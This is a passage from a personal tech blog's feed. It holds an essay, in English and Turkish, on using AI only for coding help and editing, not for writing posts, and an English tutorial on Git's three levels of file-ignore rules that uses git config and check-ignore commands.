&lt;p&gt;I draw a hard line with AI when it comes to writing articles, but things change when coding. Of course, I don't blindly hand over my projects' or this blog's code to AI to fill it with temporary patches written via "vibe-coding" that I don't even understand. I design the architecture, logic, and every line of code myself. AI here acts merely as a smart assistant speeding things up. (If you want to set up your own coding assistant and work with local models, you can check out my guide on &lt;a href="/en/yerel-ai-kurulum-rehberi-lm-studio-vs-code/"&gt;Local AI Setup Guide (LM Studio &amp;amp; VS Code)&lt;/a&gt;.)&lt;/p&gt;
&lt;p&gt;So, why are writing code and writing articles different? The core goal of code is to give instructions to a computer; once the logic is solid and works, the process runs. But the purpose of writing is to connect with another human being and share ideas. Having AI write raw text ruins the sincerity between us, whereas using a coding assistant is just a technical tool making our lives easier.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="link-translators-and-ad-hunters"&gt;🚫 Link Translators and Ad Hunters&lt;a class="headerlink" href="#link-translators-and-ad-hunters" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I use AI in writing strictly as an editor and critic. It is a fantastic helper for cleaning up broken sentences and fixing typos. But I have never seen AI as a tool to just "generate content." (You can also check out my post on &lt;a href="/en/ai-detector-sacmaliklari/"&gt;AI Detector Nonsense&lt;/a&gt; where I discuss the inconsistency of these detection tools.)&lt;/p&gt;
&lt;p&gt;I never ask AI to write about topics I don't care about or find interesting. I have no interest in grabbing every technical link on the web, running it through AI for a quick translation, and stuffing it with ads for easy money. Every word on this blog carries the mark of genuine curiosity, sleepless nights, and tinkering with systems.&lt;/p&gt;
&lt;p&gt;We love AI and place it at the center of our lives as an assistant that makes things easier; but to preserve that sincere and human bond with the reader, we will always keep the pen in our own hands.&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;The unwritten social agreement between the author and the reader, built on mutual respect for time and effort.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Yazılım Geliştirme"/><category term="Yapay Zeka"/><category term="LLM"/><category term="Yazarlık"/><category term="Blog"/><category term="Felsefe"/><category term="Kişisel"/></entry><entry><title>Bu Blogdaki Yazıları Yapay Zeka mı Yazıyor?</title><link href="https://yuceltoluyag.github.io/bu-blogdaki-yazilari-yapay-zeka-mi-yaziyor/" rel="alternate"/><published>2026-06-26T03:00:00+03:00</published><updated>2026-06-26T03:00:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-06-26:/bu-blogdaki-yazilari-yapay-zeka-mi-yaziyor/</id><summary type="html">&lt;p&gt;Yapay zekanın yazarlık, kodlama ve okuyucuyla kurduğumuz o gizli 'sosyal kontrat' üzerindeki etkilerini kendi deneyimlerimle ele alıyorum.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Kahvemi yudumlarken eski yaz&amp;inodot;lar&amp;inodot;m&amp;inodot; okudu&amp;gbreve;umda bir &amp;scedil;ey fark ettim. Y&amp;inodot;llarca teknolojiyle, kodlarla, yabanc&amp;inodot; kaynaklarla o kadar i&amp;ccedil;li d&amp;inodot;&amp;scedil;l&amp;inodot; olmu&amp;scedil;uz ki; c&amp;uuml;mlelerimizin yap&amp;inodot;s&amp;inodot; bozulmu&amp;scedil;, sanki filmlerdeki robotlar gibi sadece kendi aram&amp;inodot;zda anla&amp;scedil;t&amp;inodot;&amp;gbreve;&amp;inodot;m&amp;inodot;z garip bir T&amp;uuml;rk&amp;ccedil;e ortaya &amp;ccedil;&amp;inodot;km&amp;inodot;&amp;scedil;. &amp;Idot;&amp;scedil;te tam bu noktada, o &amp;ccedil;ok sevdi&amp;gbreve;im yapay zekay&amp;inodot; (LLM'leri) kendi bozuk T&amp;uuml;rk&amp;ccedil;emi toparlamak, okuyucuyu s&amp;inodot;kmayacak ak&amp;inodot;c&amp;inodot; c&amp;uuml;mleler kurmak i&amp;ccedil;in bir edit&amp;ouml;r gibi kullan&amp;inodot;yorum. Ama kafalardaki o b&amp;uuml;y&amp;uuml;k soruyu do&amp;gbreve;rudan yan&amp;inodot;tlayarak ba&amp;scedil;layal&amp;inodot;m:&lt;/p&gt;
&lt;p&gt;Bu blogdaki yaz&amp;inodot;lar&amp;inodot; yapay zeka m&amp;inodot; yaz&amp;inodot;yor?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hay&amp;inodot;r.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Bu blogda okudu&amp;gbreve;unuz hi&amp;ccedil;bir insan yap&amp;inodot;m&amp;inodot; metin yapay zekaya yazd&amp;inodot;r&amp;inodot;lmad&amp;inodot; ve bunu de&amp;gbreve;i&amp;scedil;tirmeye de hi&amp;ccedil; niyetim yok. Metinlerdeki t&amp;uuml;m o garip dil bilgisi hatalar&amp;inodot;, yanl&amp;inodot;&amp;scedil; varsay&amp;inodot;mlar, yaz&amp;inodot;m hatalar&amp;inodot; ve can s&amp;inodot;k&amp;inodot;c&amp;inodot; anlat&amp;inodot;m tarz&amp;inodot; tamamen bana ait. &lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="okuyucu-ile-kurulan-sosyal-kontrat"&gt;🤝 Okuyucu ile Kurulan "Sosyal Kontrat"&lt;a class="headerlink" href="#okuyucu-ile-kurulan-sosyal-kontrat" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Yaz&amp;inodot; yazmak i&amp;ccedil;in b&amp;uuml;y&amp;uuml;k dil modellerini do&amp;gbreve;rudan kullanm&amp;inodot;yorum. Ne bu blogda ne de profesyonel i&amp;scedil; hayat&amp;inodot;mda. &lt;/p&gt;
&lt;p&gt;&amp;Ccedil;&amp;uuml;nk&amp;uuml; insanlara yapay zeka taraf&amp;inodot;ndan &amp;uuml;retilmi&amp;scedil; ham metinleri okutmaya &amp;ccedil;al&amp;inodot;&amp;scedil;man&amp;inodot;n, aram&amp;inodot;zdaki o g&amp;ouml;r&amp;uuml;nmez sosyal kontrat&amp;inodot;&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; ihlal etti&amp;gbreve;ini d&amp;uuml;&amp;scedil;&amp;uuml;n&amp;uuml;yorum. Kendi ismim alt&amp;inodot;nda bir yaz&amp;inodot; yay&amp;inodot;nlad&amp;inodot;&amp;gbreve;&amp;inodot;mda, okuyucunun o konuyu ger&amp;ccedil;ekten anlad&amp;inodot;&amp;gbreve;&amp;inodot;m&amp;inodot; ve yaz&amp;inodot;y&amp;inodot; sahiplendi&amp;gbreve;imi bilmesini isterim. Onun zaman&amp;inodot;na ve eme&amp;gbreve;ine sayg&amp;inodot; duydu&amp;gbreve;umu g&amp;ouml;stermenin tek yolu budur. &lt;/p&gt;
&lt;p&gt;S&amp;inodot;rf kelime say&amp;inodot;s&amp;inodot; arts&amp;inodot;n diye yapay zekaya sayfalarca metin doldurtup insanlara sunmak, bir arkada&amp;scedil;&amp;inodot;n&amp;inodot; kahve i&amp;ccedil;meye &amp;ccedil;a&amp;gbreve;&amp;inodot;r&amp;inodot;p onun &amp;ouml;n&amp;uuml;ne banttan kaydedilmi&amp;scedil; bir konu&amp;scedil;ma dinletmeye benzer. &lt;/p&gt;
&lt;p&gt;E&amp;gbreve;er ben bir konuyu yapay zekaya yazd&amp;inodot;r&amp;inodot;p sana g&amp;ouml;ndereceksem, sen de gidip onu ba&amp;scedil;ka bir yapay zekaya &amp;ouml;zetletip okuyacaksan, g&amp;uuml;n sonunda ne elde etmi&amp;scedil; oluyoruz? Bunun yerine sana do&amp;gbreve;rudan o konuyu ara&amp;scedil;t&amp;inodot;rman i&amp;ccedil;in gereken ipucunu verir, kendi yapay zekan&amp;inodot;n ba&amp;scedil;&amp;inodot;nda konuyu ara&amp;scedil;t&amp;inodot;rmana izin veririm. Bu, senin zaman&amp;inodot;n&amp;inodot; &amp;ccedil;ok daha verimli kullanman&amp;inodot; sa&amp;gbreve;lar.&lt;/p&gt;
&lt;p&gt;Kendi ad&amp;inodot;ma i&amp;scedil; hayat&amp;inodot;nda da bi&amp;ccedil;imden ziyade i&amp;scedil;leve &amp;ouml;nem veririm. E&amp;gbreve;er yar&amp;inodot;m sayfal&amp;inodot;k bir fikrin varsa, bana o yar&amp;inodot;m sayfay&amp;inodot; ver dostum. Alt&amp;inodot;n&amp;inodot; Claude veya ChatGPT ile doldurup bana be&amp;scedil; sayfal&amp;inodot;k bir rapor sunma. E&amp;gbreve;er yapay zekan&amp;inodot;n fikrini merak edersem, gider ona kendim sorar&amp;inodot;m. &amp;Uuml;stelik kendi ba&amp;gbreve;lam&amp;inodot;mla &amp;ccedil;ok daha ki&amp;scedil;iselle&amp;scedil;tirilmi&amp;scedil; bir cevap al&amp;inodot;r&amp;inodot;m!&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="kod-yazmak-ve-yaz-yazmak-neden-farkl"&gt;💻 Kod Yazmak ve Yaz&amp;inodot; Yazmak Neden Farkl&amp;inodot;?&lt;a class="headerlink" href="#kod-yazmak-ve-yaz-yazmak-neden-farkl" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Yaz&amp;inodot; yazarken yapay zekaya s&amp;inodot;n&amp;inodot;r &amp;ccedil;iziyorum ama kod yazarken i&amp;scedil;ler de&amp;gbreve;i&amp;scedil;iyor. Tabii ki projelerimdeki veya bu blogdaki kodlar&amp;inodot; k&amp;ouml;r&amp;uuml; k&amp;ouml;r&amp;uuml;ne yapay zekaya teslim edip, ne oldu&amp;gbreve;unu anlamad&amp;inodot;&amp;gbreve;&amp;inodot;m deneme-yan&amp;inodot;lma (vibe-coding) y&amp;ouml;ntemiyle yaz&amp;inodot;lm&amp;inodot;&amp;scedil; ge&amp;ccedil;ici yamalarla doldurmuyorum. Kodun mimarisini, mant&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; ve her sat&amp;inodot;r&amp;inodot;n&amp;inodot; kendim tasarl&amp;inodot;yorum. Yapay zeka burada benim i&amp;ccedil;in sadece i&amp;scedil;leri h&amp;inodot;zland&amp;inodot;ran ak&amp;inodot;ll&amp;inodot; bir asistan. (E&amp;gbreve;er kendi kod asistan&amp;inodot;n&amp;inodot;z&amp;inodot; kurup yerel modellerle &amp;ccedil;al&amp;inodot;&amp;scedil;mak isterseniz, &lt;a href="/yerel-ai-kurulum-rehberi-lm-studio-vs-code/"&gt;Yerel AI Kurulum Rehberi (LM Studio &amp;amp; VS Code)&lt;/a&gt; rehberime g&amp;ouml;z atabilirsiniz.)&lt;/p&gt;
&lt;p&gt;Peki kod yazmakla yaz&amp;inodot; yazmak neden farkl&amp;inodot;? Kodun as&amp;inodot;l amac&amp;inodot; bilgisayara komut vermektir; mant&amp;inodot;k do&amp;gbreve;ru kurulup &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;ktan sonra arka plandaki s&amp;uuml;re&amp;ccedil; i&amp;scedil;ler. Ancak yaz&amp;inodot;n&amp;inodot;n amac&amp;inodot; do&amp;gbreve;rudan insana dokunmak, onunla fikir payla&amp;scedil;makt&amp;inodot;r. Yaz&amp;inodot;da yapay zekaya ham metinler yazd&amp;inodot;rmak aram&amp;inodot;zdaki samimiyeti zedelerken, kod yazarken asistan kullanmak sadece i&amp;scedil;imizi kolayla&amp;scedil;t&amp;inodot;ran teknik bir destektir.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="link-cevirmenligi-ve-reklam-avclg"&gt;🚫 Link &amp;Ccedil;evirmenli&amp;gbreve;i ve Reklam Avc&amp;inodot;l&amp;inodot;&amp;gbreve;&amp;inodot;&lt;a class="headerlink" href="#link-cevirmenligi-ve-reklam-avclg" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Yapay zekay&amp;inodot; yaz&amp;inodot; yazarken sadece bir edit&amp;ouml;r ve ele&amp;scedil;tirmen olarak kullan&amp;inodot;yorum. Bozuk c&amp;uuml;mleleri toparlamak, imla hatalar&amp;inodot;n&amp;inodot; gidermek i&amp;ccedil;in harika bir yard&amp;inodot;mc&amp;inodot;. Ancak yapay zekay&amp;inodot; hi&amp;ccedil;bir zaman sadece "i&amp;ccedil;erik &amp;uuml;retmek" i&amp;ccedil;in bir ara&amp;ccedil; olarak g&amp;ouml;rmedim. (Hatta bu konudaki tespit ara&amp;ccedil;lar&amp;inodot;n&amp;inodot;n tutars&amp;inodot;zl&amp;inodot;&amp;gbreve;&amp;inodot;na de&amp;gbreve;indi&amp;gbreve;im &lt;a href="/ai-detector-sacmaliklari/"&gt;Yapay Zeka Dedekt&amp;ouml;r&amp;uuml; Sa&amp;ccedil;mal&amp;inodot;klar&amp;inodot;&lt;/a&gt; yaz&amp;inodot;ma da bakabilirsiniz.)&lt;/p&gt;
&lt;p&gt;&amp;Idot;lgilenmedi&amp;gbreve;im, merak etmedi&amp;gbreve;im hi&amp;ccedil;bir alanda yapay zekaya yaz&amp;inodot; yazd&amp;inodot;rm&amp;inodot;yorum. &amp;Idot;nternette g&amp;ouml;rd&amp;uuml;&amp;gbreve;&amp;uuml;m her teknik linki al&amp;inodot;p yapay zekayla alelacele T&amp;uuml;rk&amp;ccedil;e'ye &amp;ccedil;evirip, araya reklamlar serpi&amp;scedil;tirerek kolay yoldan para kazanma gibi bir derdim yok. Bu blogdaki her kelime, arkas&amp;inodot;nda ger&amp;ccedil;ek bir merak&amp;inodot;n, uykusuz kal&amp;inodot;nan gecelerin ve kurcalanan sistemlerin izini ta&amp;scedil;&amp;inodot;r.&lt;/p&gt;
&lt;p&gt;Yapay zekay&amp;inodot; &amp;ccedil;ok seviyoruz, hayat&amp;inodot;m&amp;inodot;z&amp;inodot; kolayla&amp;scedil;t&amp;inodot;ran bir asistan olarak ba&amp;scedil; k&amp;ouml;&amp;scedil;eye koyuyoruz; ama okuyucuyla aram&amp;inodot;zdaki o samimi ve insani ba&amp;gbreve;&amp;inodot; korumak ad&amp;inodot;na kalemi her zaman kendi elimizde tutmaya devam edece&amp;gbreve;iz.&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Yazar ile okuyucu aras&amp;inodot;ndaki, kar&amp;scedil;&amp;inodot;l&amp;inodot;kl&amp;inodot; zaman ve eme&amp;gbreve;e sayg&amp;inodot; &amp;uuml;zerine kurulu yaz&amp;inodot;l&amp;inodot; olmayan toplumsal anla&amp;scedil;mad&amp;inodot;r.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Yazılım Geliştirme"/><category term="Yapay Zeka"/><category term="LLM"/><category term="Yazarlık"/><category term="Blog"/><category term="Felsefe"/><category term="Kişisel"/></entry><entry><title>You're Not Locked into .gitignore in Git: 3 Different Ways to Ignore Files</title><link href="https://yuceltoluyag.github.io/en/git-sadece-gitignore-degil-dosya-yok-sayma/" rel="alternate"/><published>2026-06-26T02:50:00+03:00</published><updated>2026-06-26T02:50:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-06-26:/en/git-sadece-gitignore-degil-dosya-yok-sayma/</id><summary type="html">&lt;p&gt;Did you know that ignoring files in Git isn't limited to just .gitignore? We discuss project-specific and global file ignoring methods.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Over the weekend, while cleaning up the commit history of my old open-source projects, I felt my face turn red. Years ago, I had accidentally pushed scratch notes, temporary files like 'todo.txt', and local debug scripts that only run on my computer. I hadn't wanted to litter the shared &lt;code&gt;.gitignore&lt;/code&gt; file of the project with my personal notes just to avoid bothering other developers in the team, but at the end of the day, everything was exposed. I am sure this has happened to most of us.&lt;/p&gt;
&lt;p&gt;If you've been coding with Git for years and think the only way to ignore files is throwing a &lt;code&gt;.gitignore&lt;/code&gt; file into the root directory of your project, you're not alone. However, Git offers three different levels for ignoring files&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Shared level with the project: &lt;code&gt;.gitignore&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Project-specific but local (unshared) level: &lt;code&gt;.git/info/exclude&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Machine-wide (global) level: &lt;code&gt;~/.config/git/ignore&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Polluting a shared &lt;code&gt;.gitignore&lt;/code&gt; file with temporary files that only exist on your machine is like putting your personal shoe rack right at the building's common entrance door. That's why, my friend, today we will talk about these secret chambers of Git and where we should store which files.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="1-the-classic-method-gitignore"&gt;📂 1. The Classic Method: &lt;code&gt;.gitignore&lt;/code&gt;&lt;a class="headerlink" href="#1-the-classic-method-gitignore" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;That famous file living in the root directory of the project, which we all know. This file is included in Git history, committed, and shared with everyone cloning the repo.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;When to use:&lt;/strong&gt; For files common to all developers in the project. For example: &lt;code&gt;node_modules/&lt;/code&gt;, Python's &lt;code&gt;__pycache__/&lt;/code&gt; directory, compiled outputs (&lt;code&gt;dist/&lt;/code&gt;, &lt;code&gt;build/&lt;/code&gt;), or IDE config directories (&lt;code&gt;.vscode/&lt;/code&gt;, &lt;code&gt;.idea/&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Important Note: Tracked Files ⚠️&lt;/p&gt;
&lt;p&gt;Git's ignore rules only apply to files that are not yet tracked (untracked).&lt;sup id="fnref2:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; If you committed a file before, Git will continue to track it even if you add it to &lt;code&gt;.gitignore&lt;/code&gt; or the &lt;code&gt;exclude&lt;/code&gt; file. To untrack these files, you need to use the &lt;code&gt;git rm --cached &amp;lt;file_path&amp;gt;&lt;/code&gt; command.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="2-project-specific-secret-ignore-gitinfoexclude"&gt;🔒 2. Project-Specific Secret Ignore: &lt;code&gt;.git/info/exclude&lt;/code&gt;&lt;a class="headerlink" href="#2-project-specific-secret-ignore-gitinfoexclude" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Inside every Git repository, there is a hidden &lt;code&gt;.git&lt;/code&gt; folder. The &lt;code&gt;info/exclude&lt;/code&gt; file under this directory is a local ignore list that is specific to that project but is &lt;strong&gt;never included&lt;/strong&gt; in Git history.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;When to use:&lt;/strong&gt; For files that are unique to your own workflow and do not concern other members of the team. For example: temporary development notes (&lt;code&gt;notes.txt&lt;/code&gt;), scratch scripts you write to test things but don't want to commit (&lt;code&gt;try.py&lt;/code&gt;), or analysis files used only in your local environment.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;How to use:&lt;/strong&gt; Open &lt;code&gt;.git/info/exclude&lt;/code&gt; with any text editor and write the file names you want to ignore line by line, just like you would write in a standard &lt;code&gt;.gitignore&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="3-machine-wide-ignore-configgitignore"&gt;🌍 3. Machine-Wide Ignore: &lt;code&gt;~/.config/git/ignore&lt;/code&gt;&lt;a class="headerlink" href="#3-machine-wide-ignore-configgitignore" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Located under your user home directory in your operating system (&lt;code&gt;~/.config/git/ignore&lt;/code&gt;), this file is a global ignore list that applies to &lt;strong&gt;all Git projects&lt;/strong&gt; opened on your computer.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;When to use:&lt;/strong&gt; For garbage files created in every project by the OS or the editors you use. For example: &lt;code&gt;.DS_Store&lt;/code&gt; files if you are on macOS, &lt;code&gt;Thumbs.db&lt;/code&gt; on Windows, or OS-level temp directories. Instead of writing these in every single project's &lt;code&gt;.gitignore&lt;/code&gt; file, you can write them here once and be done with it for life.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Defining a Custom Path:&lt;/strong&gt; If you want to keep this global file in another location (for instance, directly in your home directory as &lt;code&gt;.gitignore_global&lt;/code&gt;), you can update Git's configuration parameter&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt; with the following command:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;config&lt;span class="w"&gt; &lt;/span&gt;--global&lt;span class="w"&gt; &lt;/span&gt;core.excludesFile&lt;span class="w"&gt; &lt;/span&gt;~/.gitignore_global
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;If you want to return to default settings:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;config&lt;span class="w"&gt; &lt;/span&gt;--global&lt;span class="w"&gt; &lt;/span&gt;--unset&lt;span class="w"&gt; &lt;/span&gt;core.excludesFile
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="finding-out-where-a-file-is-blocked-from"&gt;🔍 Finding Out Where a File is Blocked From&lt;a class="headerlink" href="#finding-out-where-a-file-is-blocked-from" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;When we distribute ignored files to these three different places, after a while, you might ask, "Hey, why isn't this file showing up in Git, which rule is blocking it?" Git offers a fantastic command to clear up this confusion: &lt;code&gt;git check-ignore -v &amp;lt;file_path&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;For example, let's query why &lt;code&gt;.DS_Store&lt;/code&gt; is not appearing in your project:&lt;/p&gt;
&lt;h3 id="scenario-a-if-the-projects-gitignore-is-blocking-it"&gt;Scenario A: If the project's &lt;code&gt;.gitignore&lt;/code&gt; is blocking it:&lt;a class="headerlink" href="#scenario-a-if-the-projects-gitignore-is-blocking-it" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;check-ignore&lt;span class="w"&gt; &lt;/span&gt;-v&lt;span class="w"&gt; &lt;/span&gt;.DS_Store
.gitignore:1:.DS_Store&lt;span class="w"&gt;  &lt;/span&gt;.DS_Store
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;(The output clearly states it's blocked due to line 1 of &lt;code&gt;.gitignore&lt;/code&gt;).&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="scenario-b-if-the-projects-local-gitinfoexclude-is-blocking-it"&gt;Scenario B: If the project's local &lt;code&gt;.git/info/exclude&lt;/code&gt; is blocking it:&lt;a class="headerlink" href="#scenario-b-if-the-projects-local-gitinfoexclude-is-blocking-it" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;check-ignore&lt;span class="w"&gt; &lt;/span&gt;-v&lt;span class="w"&gt; &lt;/span&gt;.DS_Store
.git/info/exclude:7:.DS_Store&lt;span class="w"&gt;   &lt;/span&gt;.DS_Store
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="scenario-c-if-the-global-configgitignore-is-blocking-it"&gt;Scenario C: If the global &lt;code&gt;~/.config/git/ignore&lt;/code&gt; is blocking it:&lt;a class="headerlink" href="#scenario-c-if-the-global-configgitignore-is-blocking-it" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;check-ignore&lt;span class="w"&gt; &lt;/span&gt;-v&lt;span class="w"&gt; &lt;/span&gt;.DS_Store
/home/yucel/.config/git/ignore:2:.DS_Store&lt;span class="w"&gt;  &lt;/span&gt;.DS_Store
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If the file name you enter is not blocked by any rules, the command will return no output.&lt;/p&gt;
&lt;p&gt;All in all, using these three levels properly to avoid polluting shared repos with personal files and to prevent "accidentally pushed" mishaps is a professional developer reflex.&lt;/p&gt;
&lt;h2 id="related-posts_1"&gt;🔗 Related Posts&lt;a class="headerlink" href="#related-posts" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/en/git-commit-geri-donme-cherry-pick/"&gt;Git Undo Commit and Cherry-Pick&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/git-gpg-imzali-commit-vscode-arch/"&gt;Git GPG Signed Commits, VS Code &amp;amp; Arch Linux&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Applies to files that Git is not tracking yet (untracked). Tracked files continue to be watched even if added to the ignore list.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;a class="footnote-backref" href="#fnref2:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;The configuration parameter that sets the file path Git will use as the global ignore list.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Git"/><category term="Git"/><category term="Version Control"/><category term="Yazılım"/><category term="Geliştirme Araçları"/><category term="DevOps"/></entry><entry><title>Git'te Sadece .gitignore'a Mahkum Değilsiniz: Dosya Yok Saymanın 3 Farklı Yolu</title><link href="https://yuceltoluyag.github.io/git-sadece-gitignore-degil-dosya-yok-sayma/" rel="alternate"/><published>2026-06-26T02:50:00+03:00</published><updated>2026-06-26T02:50:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-06-26:/git-sadece-gitignore-degil-dosya-yok-sayma/</id><summary type="html">&lt;p&gt;Git'te dosyaları yok saymanın sadece .gitignore ile sınırlı olmadığını biliyor muydunuz? Proje özelinde ve küresel düzeyde dosya yok sayma yöntemleri.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Hafta sonu eski a&amp;ccedil;&amp;inodot;k kaynakl&amp;inodot; projelerimin commit ge&amp;ccedil;mi&amp;scedil;ini temizlerken birden y&amp;uuml;z&amp;uuml;m&amp;uuml;n k&amp;inodot;zard&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; hissettim. Y&amp;inodot;llar &amp;ouml;nce projede ald&amp;inodot;&amp;gbreve;&amp;inodot;m karalama notlar&amp;inodot;n&amp;inodot;, "todo.txt" gibi ge&amp;ccedil;ici dosyalar&amp;inodot; ve sadece kendi bilgisayar&amp;inodot;mda &amp;ccedil;al&amp;inodot;&amp;scedil;an debug scriptlerini yanl&amp;inodot;&amp;scedil;l&amp;inodot;kla pushlam&amp;inodot;&amp;scedil;&amp;inodot;m. Tak&amp;inodot;mdaki di&amp;gbreve;er geli&amp;scedil;tiricileri rahats&amp;inodot;z etmemek ad&amp;inodot;na projenin ortak &lt;code&gt;.gitignore&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot; kendi ki&amp;scedil;isel notlar&amp;inodot;mla doldurmak istememi&amp;scedil;tim ama g&amp;uuml;n sonunda her &amp;scedil;ey kabak gibi ortada kalm&amp;inodot;&amp;scedil;t&amp;inodot;. Bu durum eminim &amp;ccedil;o&amp;gbreve;umuzun ba&amp;scedil;&amp;inodot;na gelmi&amp;scedil;tir.&lt;/p&gt;
